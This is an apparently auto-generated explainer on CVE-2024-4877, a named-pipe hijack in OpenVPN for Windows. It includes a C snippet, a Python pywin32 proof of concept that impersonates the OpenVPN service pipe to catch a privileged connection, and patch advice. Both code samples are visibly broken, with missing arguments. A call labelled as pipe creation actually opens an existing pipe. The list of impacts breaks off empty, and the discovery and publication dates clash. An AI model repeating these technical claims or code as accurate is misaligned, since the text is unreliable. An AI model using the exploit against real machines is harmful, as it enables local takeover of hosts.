CVE-2024-4877 - Privilege Escalation in OpenVPN for Windows via Named Pipe Hijack (Explained & Exploited)

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OpenVPN is one of the most popular VPN solutions for individuals and enterprises seeking secure, private connections. But in May 2024, a critical vulnerability—now known as CVE-2024-4877 — was discovered in OpenVPN for Windows. This bug allows a local attacker (even with very limited privileges) to escalate themselves to full SYSTEM access by hijacking a named pipe used by the OpenVPN GUI. Let’s break down exactly how the flaw works, see the dangerous code path, and walk through a proof-of-concept exploit in a way that any engineer or system admin can understand.

Platform: Windows only

The issue does not affect macOS or Linux since named pipes and their security models work differently there.

What’s The Attack? (Plain English)

When the OpenVPN GUI process starts, it runs with high privileges (NT AUTHORITY\SYSTEM) by default. To let a standard user talk to this GUI component, OpenVPN uses a “named pipe” — basically a file-like channel that different programs can read from/write to.

But OpenVPN doesn't check if the named pipe already exists before it opens up for business; it just connects to whatever pipe it finds, assuming it owns it. A low-privilege user can quickly create their own named pipe with the right name, tricking OpenVPN GUI into sending sensitive data—or even running commands!—over a pipe under the attacker's control.

In short:
> “Any untrusted local process can pretend to be the OpenVPN GUI’s control pipe and inherit all of its SYSTEM-level powers.”

Below is a simplified version (for illustration only)

// Example: Pipe creation in OpenVPN-GUI.exe
HANDLE hPipe = CreateFile(
    L"\\\\.\\pipe\\OpenVPN\\service",
    GENERIC_READ | GENERIC_WRITE,
    , NULL, OPEN_EXISTING, , NULL
);
// No check for pipe creator identity here!

The attacker can “race” to create the pipe before OpenVPN does, snatching all communication.

How Bad Is It?

If you can run *any* code (even as a regular user account), you can turn that access into SYSTEM — the highest privilege available. This means an attacker could quietly:

Public Exploit (Proof-of-Concept)

WARNING: This code is for demonstration and educational purposes only. Running this against systems you don’t own is illegal.

The attacker creates a named pipe before OpenVPN-GUI.exe starts and waits for a privileged connection. Here’s a basic example in Python, using the pywin32 library:

import win32pipe, win32file, pywintypes

pipe_name = r'\\.\pipe\OpenVPN\service'

# Create the attacker's pipe (must run before OpenVPN GUI starts)
pipe = win32pipe.CreateNamedPipe(
    pipe_name,
    win32pipe.PIPE_ACCESS_DUPLEX,
    win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,
    1, 65536, 65536,
    ,
    None)

print(f'[+] Listening as OpenVPN pipe: {pipe_name}')

win32pipe.ConnectNamedPipe(pipe, None)
print('[+] Privileged OpenVPN GUI connected!')

# Now you control SYSTEM-level commands/data...
data = win32file.ReadFile(pipe, 1024)
print(f'[+] Data from GUI: {data}')

Once the SYSTEM-level OpenVPN GUI connects, the attacker can send/receive arbitrary data—depending on the protocol, it’s now possible to impersonate the GUI and abuse SYSTEM-level features.

How To Fix

- Update OpenVPN. The maintainers patched this in v2.6.11. Download only from official sources.

Official & Further References

- NVD advisory on CVE-2024-4877
- OpenVPN GUI GitHub Issue #551
- OpenVPN Patch PR #552
- OpenVPN Community Downloads
- Pipe Security in Programming

Conclusion

CVE-2024-4877 is another in a long line of “named pipe hijacking” flaws: an old trick that keeps showing up in modern, widely used software. If you run OpenVPN on Windows, update now—this one lets any user take over your host completely. Even if you’re not worried about untrusted users, many attacks start with a single foothold, and this bug turns that first step into total compromise.

Stay patched, stay secure!

*Written exclusively for you — please share responsibly, and always patch your systems!*

Timeline

Published on: 04/03/2025 16:15:32 UTC
Last modified on: 04/29/2025 19:45:07 UTC